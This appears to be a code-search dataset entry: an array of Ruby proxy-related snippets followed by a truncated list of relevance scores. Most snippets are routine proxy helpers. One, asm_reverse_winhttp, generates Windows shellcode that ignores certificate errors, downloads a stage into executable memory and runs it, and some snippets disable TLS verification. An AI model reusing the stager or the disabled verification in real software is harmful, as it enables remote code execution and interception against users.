"def http_proxy_uri\n @http_proxy_uri ||= begin\n keys = %w( HTTP_PROXY HTTP_PROXY_USER HTTP_PROXY_PASS )\n env = Hash[ENV.\n map{|k, v| [k.upcase, v]}.\n select{|k, v| keys.include?(k)}.\n reject{|k, v| v.nil? || v.empty?}]\n\n uri = env[\"HTTP_PROXY\"] or return\n uri = \"http://#{uri}\" unless uri =~ /^(https?|ftp|file):/\n uri = URI.parse(uri)\n uri.user ||= env[\"HTTP_PROXY_USER\"]\n uri.password ||= env[\"HTTP_PROXY_PASS\"]\n uri\n end\n end",
"def get_proxy_from_env\n env_proxy = ENV['http_proxy'] || ENV['HTTP_PROXY']\n\n return nil if env_proxy.nil? or env_proxy.empty?\n\n uri = URI.parse env_proxy\n\n if uri and uri.user.nil? and uri.password.nil? then\n # Probably we have http_proxy_* variables?\n uri.user = escape(ENV['http_proxy_user'] || ENV['HTTP_PROXY_USER'])\n uri.password = escape(ENV['http_proxy_pass'] || ENV['HTTP_PROXY_PASS'])\n end\n\n uri\n end",
"def proxy_url\n URI.join(cas_url, 'proxy').to_s\n end",
"def proxy_url\n URI.join(cas_url, 'proxy').to_s\n end",
"def using_proxy?; end",
"def default_proxy\n @default_proxy ||= (\n proxy = ENV['http_proxy'] || ENV['HTTP_PROXY']\n if proxy\n if proxy !~ /^(\\w+):\\/\\// then\n proxy = \"http://#{proxy}\"\n end\n ENV['http_proxy'] = proxy\n proxy_uri = URI.parse(ENV['http_proxy'])\n Net::HTTP::Proxy(proxy_uri.host, proxy_uri.port, proxy_uri.user, proxy_uri.password)\n else\n Net::HTTP\n end\n )\n end",
"def proxy\n\t\t\tself.options[:proxy]\n\t\tend",
"def http_proxy; end",
"def proxy_addr; end",
"def proxy_uri\n @proxy_uri ||= URI.parse(config(\"proxy-uri\"))\n end",
"def retrieve_proxy(proxy_name)\n @proxy_map[proxy_name]\n end",
"def proxy?\n self.proxy_host and self.proxy_host.match(/\\A\\S+\\z/)\n end",
"def set_proxy_config\n http_proxy \"http://127.0.0.1:3128\"\n https_proxy \"http://127.0.0.1:3128\"\n ftp_proxy \"http://127.0.0.1:3128\"\nend",
"def proxy_address\n ENV[\"CHEF_API_PROXY_ADDRESS\"] || config[\"CHEF_API_PROXY_ADDRESS\"]\n end",
"def proxy_uri; end",
"def proxy_uri; end",
"def asm_reverse_winhttp(opts={})\n\n retry_count = [opts[:retry_count].to_i, 1].max\n verify_ssl = nil\n encoded_cert_hash = nil\n encoded_uri = asm_generate_wchar_array(opts[:uri])\n encoded_host = asm_generate_wchar_array(opts[:host])\n\n # this is used by the IE proxy functionality when an autoconfiguration URL\n # is specified. We need the full URL otherwise the call to resolve the proxy\n # for the URL doesn't work.\n full_url = 'http'\n full_url << 's' if opts[:ssl]\n full_url << '://' << opts[:host]\n full_url << \":#{opts[:port]}\" if opts[:ssl] && opts[:port] != 443\n full_url << \":#{opts[:port]}\" if !opts[:ssl] && opts[:port] != 80\n full_url << opts[:uri]\n\n encoded_full_url = asm_generate_wchar_array(full_url)\n encoded_uri_index = (full_url.length - opts[:uri].length) * 2\n\n if opts[:ssl] && opts[:verify_cert_hash]\n verify_ssl = true\n encoded_cert_hash = opts[:verify_cert_hash].unpack(\"C*\").map{|c| \"0x%.2x\" % c }.join(\",\")\n end\n\n proxy_enabled = !!(opts[:proxy_host].to_s.strip.length > 0)\n proxy_info = \"\"\n\n if proxy_enabled\n if opts[:proxy_type].to_s.downcase == \"socks\"\n proxy_info << \"socks=\"\n else\n proxy_info << \"http://\"\n end\n\n proxy_info << opts[:proxy_host].to_s\n if opts[:proxy_port].to_i > 0\n proxy_info << \":#{opts[:proxy_port]}\"\n end\n\n proxy_info = asm_generate_wchar_array(proxy_info)\n end\n\n proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])\n proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])\n\n custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])\n\n http_open_flags = 0\n secure_flags = 0\n\n if opts[:ssl]\n http_open_flags = (\n 0x00800000 | # WINHTTP_FLAG_SECURE\n 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE\n\n secure_flags = (\n 0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID\n 0x00001000 | # SECURITY_FLAG_IGNORE_CERT_CN_INVALID\n 0x00000200 | # SECURITY_FLAG_IGNORE_WRONG_USAGE\n 0x00000100 ) # SECURITY_FLAG_IGNORE_UNKNOWN_CA\n else\n http_open_flags = (\n 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE\n end\n\n ie_proxy_autodect = (\n 0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP\n 0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A\n\n ie_proxy_flags = (\n 0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT\n 0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL\n\n asm = %Q^\n ; Input: EBP must be the address of 'api_call'.\n ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)\n\n load_winhttp:\n push 0x00707474 ; Push the string 'winhttp',0\n push 0x686E6977 ; ...\n push esp ; Push a pointer to the \"winhttp\" string\n push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n call ebp ; LoadLibraryA( \"winhttp\" )\n ^\n\n if verify_ssl\n asm << %Q^\n load_crypt32:\n push 0x00323374 ; Push the string 'crypt32',0\n push 0x70797263 ; ...\n push esp ; Push a pointer to the \"crypt32\" string\n push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n call ebp ; LoadLibraryA( \"wincrypt\" )\n ^\n end\n\n asm << %Q^\n xor ebx, ebx\n\n WinHttpOpen:\n ^\n\n if proxy_enabled\n asm << %Q^\n push ebx ; Flags\n push esp ; ProxyBypass (\"\")\n call get_proxy_server\n db #{proxy_info}\n get_proxy_server:\n ; ProxyName (via call)\n push 3 ; AccessType (NAMED_PROXY= 3)\n push ebx ; UserAgent (NULL) [1]\n push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}\n call ebp\n ^\n else\n asm << %Q^\n push ebx ; Flags\n push ebx ; ProxyBypass (NULL)\n push ebx ; ProxyName (NULL)\n push ebx ; AccessType (DEFAULT_PROXY= 0)\n push ebx ; UserAgent (NULL) [1]\n push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}\n call ebp\n ^\n end\n\n if opts[:proxy_ie] == true && !proxy_enabled\n asm << %Q^\n push eax ; Session handle is required later for ie proxy\n ^\n end\n\n asm << %Q^\n WinHttpConnect:\n push ebx ; Reserved (NULL)\n push #{opts[:port]} ; Port [3]\n call got_server_uri ; Double call to get pointer for both server_uri and\n server_uri: ; server_host; server_uri is saved in edi for later\n ^\n\n if opts[:proxy_ie] == true && !proxy_enabled\n asm << %Q^\n db #{encoded_full_url}\n got_server_host:\n add edi, #{encoded_uri_index} ; move edi up to where the URI starts\n ^\n else\n asm << %Q^\n db #{encoded_uri}\n got_server_host:\n ^\n end\n\n asm << %Q^\n push eax ; Session handle returned by WinHttpOpen\n push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')}\n call ebp\n\n WinHttpOpenRequest:\n\n push 0x#{http_open_flags.to_s(16)}\n push ebx ; AcceptTypes (NULL)\n push ebx ; Referrer (NULL)\n push ebx ; Version (NULL)\n push edi ; ObjectName (URI)\n push ebx ; Verb (GET method) (NULL)\n push eax ; Connect handle returned by WinHttpConnect\n push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpenRequest')}\n call ebp\n xchg esi, eax ; save HttpRequest handler in esi\n ^\n\n if proxy_enabled && proxy_user\n asm << %Q^\n push ebx ; pAuthParams (NULL)\n ^\n\n if proxy_pass\n asm << %Q^\n call got_proxy_pass ; put proxy_pass on the stack\n proxy_pass:\n db #{proxy_pass}\n got_proxy_pass:\n ; pwszPassword now on the stack\n ^\n else\n asm << %Q^\n push ebx ; pwszPassword (NULL)\n ^\n end\n\n asm << %Q^\n call got_proxy_user ; put proxy_user on the stack\n proxy_user:\n db #{proxy_user}\n got_proxy_user:\n ; pwszUserName now on the stack\n push 1 ; AuthScheme (WINHTTP_AUTH_SCHEME_BASIC = 1)\n push 1 ; AuthTargets (WINHTTP_AUTH_TARGET_PROXY = 1)\n push esi ; hRequest\n push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')}\n call ebp\n ^\n elsif opts[:proxy_ie] == true\n asm << %Q^\n ; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is\n ; a 16-byte structure\n sub esp, 16\n mov eax, esp ; store a pointer to the buffer\n push edi ; store the current URL in case it's needed\n mov edi, eax ; put the buffer pointer in edi\n push edi ; Push a pointer to the buffer\n push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')}\n call ebp\n\n test eax, eax ; skip the rest of the proxy stuff if the call failed\n jz ie_proxy_setup_finish\n\n ; we don't care about the \"auto detect\" flag, as it doesn't seem to\n ; impact us at all.\n\n ; if auto detect isn't on, check if there's an auto configuration URL\n mov eax, [edi+4]\n test eax, eax\n jz ie_proxy_manual\n\n ; restore the URL we need to reference\n pop edx\n sub edx, #{encoded_uri_index} ; move edx up to where the full URL starts\n\n ; set up the autoproxy structure on the stack\n push 1 ; fAutoLogonIfChallenged (1=TRUE)\n push ebx ; dwReserved (0)\n push ebx ; lpReserved (NULL)\n push eax ; lpszAutoConfigUrl\n push #{ie_proxy_autodect} ; dwAutoDetectFlags\n push #{ie_proxy_flags} ; dwFlags\n mov eax, esp\n\n ; prepare space for the resulting proxy info structure\n sub esp, 12\n mov edi, esp ; store the proxy pointer\n\n ; prepare the WinHttpGetProxyForUrl call\n push edi ; pProxyInfo\n push eax ; pAutoProxyOptions\n push edx ; lpcwszUrl\n lea eax, [esp+64] ; Find the pointer to the hSession - HACK!\n push [eax] ; hSession\n push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')}\n call ebp\n\n test eax, eax ; skip the rest of the proxy stuff if the call failed\n jz ie_proxy_setup_finish\n jmp set_ie_proxy ; edi points to the filled out proxy structure\n\n ie_proxy_manual:\n ; check to see if a manual proxy is specified, if not, we skip\n mov eax, [edi+8]\n test eax, eax\n jz ie_proxy_setup_finish\n\n ; manual proxy present, set up the proxy info structure by patching the\n ; existing current user IE structure that is in edi\n push 4\n pop eax\n add edi, eax ; skip over the fAutoDetect flag\n dec eax\n mov [edi], eax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY)\n\n ; fallthrough to set the ie proxy\n\n set_ie_proxy:\n ; we assume that edi is going to point to the proxy options\n push 12 ; dwBufferLength (sizeof proxy options)\n push edi ; lpBuffer (pointer to the proxy)\n push 38 ; dwOption (WINHTTP_OPTION_PROXY)\n push esi ; hRequest\n push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')}\n call ebp\n\n ie_proxy_setup_finish:\n ^\n end\n\n if opts[:ssl]\n asm << %Q^\n ; WinHttpSetOption (hInternet, WINHTTP_OPTION_SECURITY_FLAGS, &buffer, sizeof(buffer) );\n set_security_options:\n push 0x#{secure_flags.to_s(16)}\n mov eax, esp\n push 4 ; sizeof(buffer)\n push eax ; &buffer\n push 31 ; DWORD dwOption (WINHTTP_OPTION_SECURITY_FLAGS)\n push esi ; hHttpRequest\n push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')}\n call ebp\n ^\n end\n\n asm << %Q^\n ; Store our retry counter in the edi register\n set_retry:\n push #{retry_count}\n pop edi\n\n send_request:\n\n WinHttpSendRequest:\n push ebx ; Context [7]\n push ebx ; TotalLength [6]\n push ebx ; OptionalLength (0) [5]\n push ebx ; Optional (NULL) [4]\n ^\n\n if custom_headers\n asm << %Q^\n push -1 ; dwHeadersLength (assume NULL terminated) [3]\n call get_req_headers ; lpszHeaders (pointer to the custom headers) [2]\n db #{custom_headers}\n get_req_headers:\n ^\n else\n asm << %Q^\n push ebx ; HeadersLength (0) [3]\n push ebx ; Headers (NULL) [2]\n ^\n end\n\n asm << %Q^\n push esi ; HttpRequest handle returned by WinHttpOpenRequest [1]\n push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSendRequest')}\n call ebp\n test eax,eax\n jnz check_response ; if TRUE call WinHttpReceiveResponse API\n\n try_it_again:\n dec edi\n jnz send_request\n\n ; if we didn't allocate before running out of retries, fall through\n ^\n\n if opts[:exitfunk]\n asm << %Q^\n failure:\n call exitfunk\n ^\n else\n asm << %Q^\n failure:\n push 0x56A2B5F0 ; hardcoded to exitprocess for size\n call ebp\n ^\n end\n\n # Jump target if the request was sent successfully\n asm << %Q^\n check_response:\n ^\n\n # Verify the SSL certificate hash\n if verify_ssl\n\n asm << %Q^\n ssl_cert_get_context:\n push 4\n mov ecx, esp ; Allocate &bufferLength\n push 0\n mov ebx, esp ; Allocate &buffer (ebx will point to *pCert)\n\n push ecx ; &bufferLength\n push ebx ; &buffer\n push 78 ; DWORD dwOption (WINHTTP_OPTION_SERVER_CERT_CONTEXT)\n push esi ; hHttpRequest\n push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpQueryOption')}\n call ebp\n test eax, eax ;\n jz failure ; Bail out if we couldn't get the certificate context\n\n ; ebx\n ssl_cert_allocate_hash_space:\n push 20 ;\n mov ecx, esp ; Store a reference to the address of 20\n sub esp,[ecx] ; Allocate 20 bytes for the hash output\n mov edi, esp ; edi will point to our buffer\n\n ssl_cert_get_server_hash:\n push ecx ; &bufferLength\n push edi ; &buffer (20-byte SHA1 hash)\n push 3 ; DWORD dwPropId (CERT_SHA1_HASH_PROP_ID)\n push [ebx] ; *pCert\n push #{Rex::Text.block_api_hash('crypt32.dll', 'CertGetCertificateContextProperty')}\n call ebp\n test eax, eax ;\n jz failure ; Bail out if we couldn't get the certificate context\n\n ssl_cert_start_verify:\n call ssl_cert_compare_hashes\n db #{encoded_cert_hash}\n\n ssl_cert_compare_hashes:\n pop ebx ; ebx points to our internal 20-byte certificate hash (overwrites *pCert)\n ; edi points to the server-provided certificate hash\n\n push 4 ; Compare 20 bytes (5 * 4) by repeating 4 more times\n pop ecx ;\n mov edx, ecx ; Keep a reference to 4 in edx\n\n ssl_cert_verify_compare_loop:\n mov eax, [ebx] ; Grab the next DWORD of the hash\n cmp eax, [edi] ; Compare with the server hash\n jnz failure ; Bail out if the DWORD doesn't match\n add ebx, edx ; Increment internal hash pointer by 4\n add edi, edx ; Increment server hash pointer by 4\n loop ssl_cert_verify_compare_loop\n\n ; Our certificate hash was valid, hurray!\n ssl_cert_verify_cleanup:\n xor ebx, ebx ; Reset ebx back to zero\n ^\n end\n\n asm << %Q^\n receive_response:\n ; The API WinHttpReceiveResponse needs to be called\n ; first to get a valid handle for WinHttpReadData\n push ebx ; Reserved (NULL)\n push esi ; Request handler returned by WinHttpSendRequest\n push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReceiveResponse')}\n call ebp\n test eax,eax\n jz failure\n\n allocate_memory:\n push 0x40 ; PAGE_EXECUTE_READWRITE\n push 0x1000 ; MEM_COMMIT\n push 0x00400000 ; Stage allocation (4Mb ought to do us)\n push ebx ; NULL as we dont care where the allocation is\n push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}\n call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );\n\n download_prep:\n xchg eax, ebx ; place the allocated base address in ebx\n push ebx ; store a copy of the stage base address on the stack\n push ebx ; temporary storage for bytes read count\n mov edi, esp ; &bytesRead\n\n download_more:\n push edi ; NumberOfBytesRead (bytesRead)\n push 8192 ; NumberOfBytesToRead\n push ebx ; Buffer\n push esi ; Request handler returned by WinHttpReceiveResponse\n push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpReadData')}\n call ebp\n\n test eax,eax ; if download failed? (optional?)\n jz failure\n\n mov eax, [edi]\n add ebx, eax ; buffer += bytes_received\n\n test eax,eax ; optional?\n jnz download_more ; continue until it returns 0\n pop eax ; clear the temporary storage\n\n execute_stage:\n ret ; dive into the stored stage address\n\n got_server_uri:\n pop edi\n call got_server_host ; put the server_host on the stack (WinHttpConnect API [2])\n\n server_host:\n db #{encoded_host}\n ^\n\n if opts[:exitfunk]\n asm << asm_exitfunk(opts)\n end\n\n asm\n end",
"def fiddler_proxy()\n '--proxy=127.0.0.1:8888'\n end",
"def proxy\n @proxy\n end",
"def proxyaddress\n @attributes.fetch('proxyaddress', 'none')\n end",
"def proxyport\n config[\"proxyport\"]\n end",
"def select_http_obj\n if @proxy_server\n http = Net::HTTP::Proxy(@proxy_server[:address],@proxy_server[:port],\n @proxy_server[:user],@proxy_server[:password]).new(@url.host,@url.port)\n else\n http = Net::HTTP.new(@url.host, @url.port)\n end\n http.use_ssl=true if @url.class==URI::HTTPS\n if !@verify_ssl\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE if @url.class==URI::HTTPS\n end\n http\n end",
"def spice_proxy_url\n @conn.spice_proxy_url\n end",
"def spice_proxy_url\n service = core_client.get_service('spice-proxy', @namespace)\n host = service.spec.externalIPs.first\n port = service.spec.ports.first.port\n url = URI::Generic.build(\n scheme: 'http',\n host: host,\n port: port,\n )\n url.to_s\n end",
"def legitimate_proxy?; end",
"def proxy\n return @proxy\n end",
"def lookup_proxy_definition\n return if proxy_definition\n\n @proxy_definition = proxy_source.lookup_constant_path(proxy_name)\n end",
"def parse_proxy_info\r\n raw = @env[\"HTTP_PROXY\"] || @env[\"http_proxy\"]\r\n return {} unless raw\r\n\r\n main_str = raw\r\n .strip\r\n .sub(/^http:\\/\\//, \"\")\r\n .sub(/\\/+$/, \"\")\r\n\r\n auth_str = main_str.match(/(.*)@/).to_a[1].to_s\r\n host_str = main_str.sub(/^.*@/, \"\")\r\n {\r\n host: host_str.sub(/:.*$/, \"\"),\r\n port: host_str.match(/:(.*)/).to_a[1].try(:to_i), # int or nil\r\n user: auth_str.sub(/:.*$/, \"\"),\r\n pass: auth_str.sub(/^.*:/, \"\")\r\n }.select { |_, value| value.present? }\r\n end",
"def proxy_mgr\n ProxyFetcher.configure do |config|\n config.provider = %i[free_proxy_list_ssl xroxy proxy_list]\n config.proxy_validation_timeout = 15\n config.user_agent = USER_AGENT\n end\n ProxyFetcher::Manager.new\n end",
"def hasProxy?\n if @@proxy.nil?\n # before ZCS 8 service name was \"imapproxy\"\n @@proxy = [\"proxy\", \"imapproxy\"].any? { |srv| !getServersRunning(srv).empty? }\n end\n \n @@proxy\n end",
"def proxy_port\n proxy? ? @options['proxy_port'].to_i : nil\n end",
"def find_proxy_target(options = {})\n end",
"def try_to_parse_proxy_protocol; end",
"def proxy_google(path)\n res = Net::HTTP.start('www.google.com', 80) do |http|\n http.get path\n end\n res.body\nend",
"def process_proxy(behavior, app)\n proxy = (behavior[:proxy] || app).to_s\n proxy = 'dashboard' if proxy == 'cdo-assets'\n unless %w(pegasus dashboard).include? proxy\n raise ArgumentError.new(\"Invalid proxy: #{proxy}\")\n end\n hostname = proxy == 'pegasus' ? pegasus_hostname : dashboard_hostname\n out = \"set req.backend_hint = #{proxy}.backend();\"\n if proxy != app.to_s\n out << \"\\nset req.http.host = \\\"#{hostname}\\\";\"\n end\n out\nend",
"def smart_proxy_domain\n if proxy_base_domain =~ /^#{appname}/\n return proxy_base_domain \n end\n proxy_domains\n end",
"def get_proxy(identifier); end",
"def get_proxy(identifier); end",
"def get_http_connection \n unless @pysmsd_config.nil?\n if @pysmsd_config.enabled\n if @pysmsd_config.use_proxy\n http = Net::HTTP::Proxy(@pysmsd_config.proxy_host, @pysmsd_config.proxy_port, @pysmsd_config.proxy_username, @pysmsd_config.proxy_password).new(@pysmsd_config.host, @pysmsd_config.port)\n else\n http = Net::HTTP.new(@pysmsd_config.host, @pysmsd_config.port)\n end\n http.use_ssl = @pysmsd_config.use_ssl\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n return http\n end\n end\n end",
"def proxy_port; end",
"def http_class\n if use_proxy?\n Net::HTTP::Proxy(proxy.host, proxy.port, proxy.user, proxy.password)\n else\n Net::HTTP\n end\n end",
"def get_proxy_options(url=nil)\n options = {}\n if url = url || ENV['HTTPS_PROXY'] || ENV['https_proxy'] || ENV['HTTP_PROXY'] || ENV['http_proxy']\n proxy_uri = URI.parse(url)\n options[:http_proxyaddr] = proxy_uri.host\n options[:http_proxyport] = proxy_uri.port\n options[:http_proxyuser] = proxy_uri.user\n options[:http_proxypass] = proxy_uri.password\n end\n options\n end",
"def pipproxyarg\n proxy = getproxy\n return ((proxy != nil) ? [\"--proxy\", proxy] : [])\n end",
"def http_proxy addr, opts={}\n return Net::HTTP unless addr\n\n host, port = addr.split \":\"\n port ||= opts[:port] || 8080\n\n user = opts[:username]\n pass = opts[:password]\n\n Kronk::Cmd.verbose \"Using proxy #{addr}\\n\" if host\n\n Net::HTTP::Proxy host, port, user, pass\n end",
"def proxy (value = nil)\n\t\tif value\n\t\t\traise_if_error C.glyr_opt_proxy(to_native, value)\n\t\telse\n\t\t\tto_native[:proxy]\n\t\tend\n\tend",
"def proxy?\n @options.has_key?('proxy_port')\n end",
"def proxy_details\n unless @grid_url.nil?\n grid_base_url = @grid_url.split(GRID_REG_REL_PATH)[0] # grid hostname:port\n @session_id = grid_session_id # get the test's session id\n @proxy_url = get_grid_proxy_url(grid_base_url, @session_id)\n @proxy_details = get_grid_proxy_details(grid_base_url, @proxy_url)\n return @proxy_details['request']['configuration']\n end\n return NA_STRING\n end",
"def proxy_vars\n Hash[[:address,:user,:pass,:port].map do |x|\n [x, default_proxy.instance_variable_get(\"@proxy_#{x}\")]\n end]\n end",
"def proxy_is_allowed?\n if(ENV['no_proxy'])\n ENV['no_proxy'].to_s.split(',').map(&:strip).none? do |item|\n File.fnmatch(item, [uri.host, uri.port].compact.join(':'))\n end\n else\n true\n end\n end",
"def proxy?\n [email protected]_s.strip.empty?\n end",
"def can_find_proxy_target?\n false\n end",
"def public_hostname\n get_proxy.get_public_hostname\n end",
"def set_proxy(proxy='')\r\n RestClient.proxy = proxy.empty? ? ENV['http_proxy'] : proxy\r\n end",
"def set_proxy(proxy='')\r\n RestClient.proxy = proxy.empty? ? ENV['http_proxy'] : proxy\r\n end",
"def proxy_params\n params[:proxy]\n end",
"def proxy_enabled?(spec=nil)\n ENV['PROXY'] ||= 'CM4' if (ENV['DIGITAL_ANALYTICS'] && ENV['DIGITAL_ANALYTICS'].include?('proxy') || ENV['RTO_FAILURE'] && ENV['RTO_FAILURE'].upcase == 'TRUE')\n if ENV['PROXY'].nil? || ENV['PROXY'].upcase == 'FALSE'\n false\n elsif spec.nil?\n true\n else\n ENV['PROXY'].include?(spec)\n end\n end",
"def proxy?\n nokia? || uc_browser? || opera_mini?\n end",
"def using_proxy?\n default_proxy.instance_variable_get(:@is_proxy_class) || false\n end",
"def proxy_pass; end",
"def http\n @http ||= Net::HTTP::Proxy(@proxy.host, @proxy.port).new @endpoint.host, @endpoint.port\n end",
"def set_proxy proxy, port=nil, user=nil, pwd=nil\n\t\t\n\t\t\n\t\tif !proxy\t\n\t\t\t@proxy_host=@proxy_port=@proxy_user=@proxy_pwd=nil \n\t\t\treturn\n\t\tend\n\n\t\tif proxy.class == String \n\t\t\tif !port && !user && !pwd\n\t\t\t\tproxy = URI.parse(proxy)\n\t\t\telse \n\t\t\t\t@proxy_host= host\n\t\t\t\t@proxy_port= port\n\t\t\t\t@proxy_user= user\n\t\t\t\t@proxy_pwd = pwd\n\t\t\tend\n\t\tend\n\t\t\n\t\tif proxy.class == URI::HTTP \n\t\t\t@proxy_host= proxy.host\n\t\t\t@proxy_port= proxy.port\n\t\t\t@proxy_user= proxy.user\n\t\t\t@proxy_pwd = proxy.password\n\t\tend\n\tend",
"def current_proxy\r\n unless @__proxy_initialized\r\n proxy_id = params[:api_proxyid]\r\n current_user = self.current_user\r\n if proxy_id.present? and current_user\r\n @__proxy_roles = Sys::UserRelation.where(user: current_user, related_id: proxy_id).all.map{|rel| rel.role}\r\n if @__proxy_roles.any?\r\n @__proxy = Sys::User.find(proxy_id) rescue nil\r\n end\r\n end\r\n @__proxy_initialized = true\r\n end\r\n @__proxy\r\n end",
"def http_proxy(addr=nil, port = nil)\n default_options[:http_proxyaddr] = addr\n default_options[:http_proxyport] = port\n end",
"def proxy=value\n @proxy=value.is_a?(URI) ? value:URI.parse(value)\n end",
"def get_public_ip_address\n get_proxy.get_public_ip_address\n end",
"def connect_using_proxy(socket); end",
"def proxies\n @proxies ||= {}\n end",
"def add_duke_proxy(href, type, ctx)\n if type == 'fulltext' &&\n ctx.clipboard.fetch(:shared_record_set, '').match(/\\S/) &&\n url_restricted?(href, type)\n \"{+proxyPrefix}#{href.gsub(%r{http(s)?://(login.)?proxy\\.lib\\.duke\\.edu/login\\?url=}, '')}\"\n else\n # Send the full href, ensuring we have the correct proxy prefix.\n # It's possible some older cataloged items have Duke's old proxy prefix.\n href.gsub(%r{http(s)?://proxy\\.lib\\.duke\\.edu}, 'https://login.proxy.lib.duke.edu')\n end\n end",
"def link_host\n return if field['u'].nil?\n\n @link_host ||= begin\n # Not sure why I need this, but it fails on certain URLs w/o it. The link printed still has character in it\n fixed_url = field['u'].gsub('^', '').strip\n link = URI.parse(fixed_url)\n\n return link.host unless PROXY_URL_REGEX.match?(link.to_s) && link.to_s.include?('url=')\n\n proxy = CGI.parse(link.query.force_encoding(Encoding::UTF_8))\n return link.host unless proxy.key?('url')\n\n extracted_url = URI.extract(proxy['url'].first).first\n return link.host unless extracted_url\n\n URI.parse(extracted_url).host\n rescue URI::InvalidURIError\n return nil\n end\n end",
"def proxy(arg = nil)\n return @proxy if arg.nil?\n warn 'Warning: use of proxy(new_value) to set connection proxy have been DEPRECATED and will be removed in Faraday 1.0'\n @manual_proxy = true\n @proxy = ProxyOptions.from(arg)\n end",
"def connect_to(host, port)\n if @proxy_uri\n Net::HTTP::Proxy(@proxy_uri.host, @proxy_uri.port, unescape(@proxy_uri.user), unescape(@proxy_uri.password)).new(host, port)\n else\n Net::HTTP.new(host, port)\n end\n end",
"def proxy_url_for(url)\n\n # look for a matching proxy.\n matched = nil\n matched_url = nil\n\n @proxies.each do |proxy_url, opts|\n matched_url = proxy_url\n matched = opts if url =~ /^#{proxy_url}/\n break if matched\n end\n\n # If matched, rewrite the URL\n if matched\n\n # rewrite the matched_url if needed...\n if matched[:url]\n url = url.gsub(/^#{matched_url}/, matched[:url])\n end\n\n # prepend the hostname and protocol\n url = [(matched[:protocol] || 'http'), '://', matched[:to], url].join('')\n\n # otherwise nil\n else\n url = nil\n end\n\n return [url, matched]\n\n end",
"def http_proxy_parts; end",
"def proxy\n @proxy ||= Proxy.new self\n end",
"def proxy(prox)\n RestClient.proxy = prox\n end",
"def faraday_proxy(options)\n return options[:proxy] if options[:proxy]\n\n proxy = options[:options]\n proxy[:http_proxy_uri] if proxy[:http_proxy_uri]\n end",
"def option_http_proxy\n if @name_index\n @conf.insert(@name_index + @conf.length, \" \" + \"option http_proxy \" + \"\\n\")\n else\n puts \"no #{@proxy_type} name assigned\"\n return false\n end\n end",
"def test_using_proxy_object_from_uri_without_http_scheme\n proxy = Selenium::WebDriver::Proxy.new(\n http: URI(\"http://#{PROXY}\"),\n ssl: URI(\"http://#{PROXY}\")\n )\n\n run_test_with proxy: proxy\n end",
"def raw_proxies\n proxies.map(&:url)\n end",
"def raw_proxies\n proxies.map(&:url)\n end",
"def test_using_proxy_object\n proxy = Selenium::WebDriver::Proxy.new(\n http: PROXY,\n ssl: PROXY\n )\n\n run_test_with proxy: proxy\n end",
"def proxified_socket(host, port)\n proxy = ENV[\"https_proxy\"] || ENV[\"http_proxy\"] || false\n\n if proxy && !fuzzy_hostname_match_any?(host, ENV[\"no_proxy\"])\n Proxifier.Proxy(proxy).open(host, port)\n else\n TCPSocket.new(host, port)\n end\n end",
"def random_proxy\n return if !options[:proxy]\n\n proxies = options[:proxy]\n proxies = proxies.split(',') if !proxies.is_a?(Array)\n proxies.sample\n end"
] | [
"0.7688793",
"0.757827",
"0.75567734",
"0.731487",
"0.7279257",
"0.6937296",
"0.69084275",
"0.6826845",
"0.68028396",
"0.6633162",
"0.66265565",
"0.65869397",
"0.6566076",
"0.6541223",
"0.6510802",
"0.6497136",
"0.64904135",
"0.6483316",
"0.6384128",
"0.6336637",
"0.6336637",
"0.6329781",
"0.6175404",
"0.6102006",
"0.6096733",
"0.609415",
"0.6093028",
"0.6026796",
"0.6019268",
"0.6017986",
"0.601131",
"0.60029423",
"0.60029423",
"0.5990788",
"0.59843236",
"0.5982555",
"0.59794784",
"0.5956837",
"0.59436554",
"0.5890273",
"0.58590496",
"0.5856113",
"0.583463",
"0.5830862",
"0.5818528",
"0.5812493",
"0.5784413",
"0.5778379",
"0.57728237",
"0.57584465",
"0.57413024",
"0.5712309",
"0.56843174",
"0.568314",
"0.568314",
"0.5674559",
"0.5671963",
"0.5642342",
"0.56377536",
"0.5625945",
"0.5611313",
"0.5609194",
"0.5602015",
"0.558667",
"0.5564396",
"0.55425614",
"0.5520264",
"0.5504783",
"0.5494268",
"0.54916805",
"0.54916805",
"0.5488628",
"0.5480245",
"0.54637486",
"0.54479814",
"0.5446898",
"0.54426533",
"0.54405266",
"0.54322606",
"0.54255974",
"0.54233223",
"0.5404756",
"0.5394574",
"0.5393502",
"0.53825516",
"0.5358072",
"0.5345413",
"0.53396696",
"0.53385425",
"0.53374135",
"0.53336686",
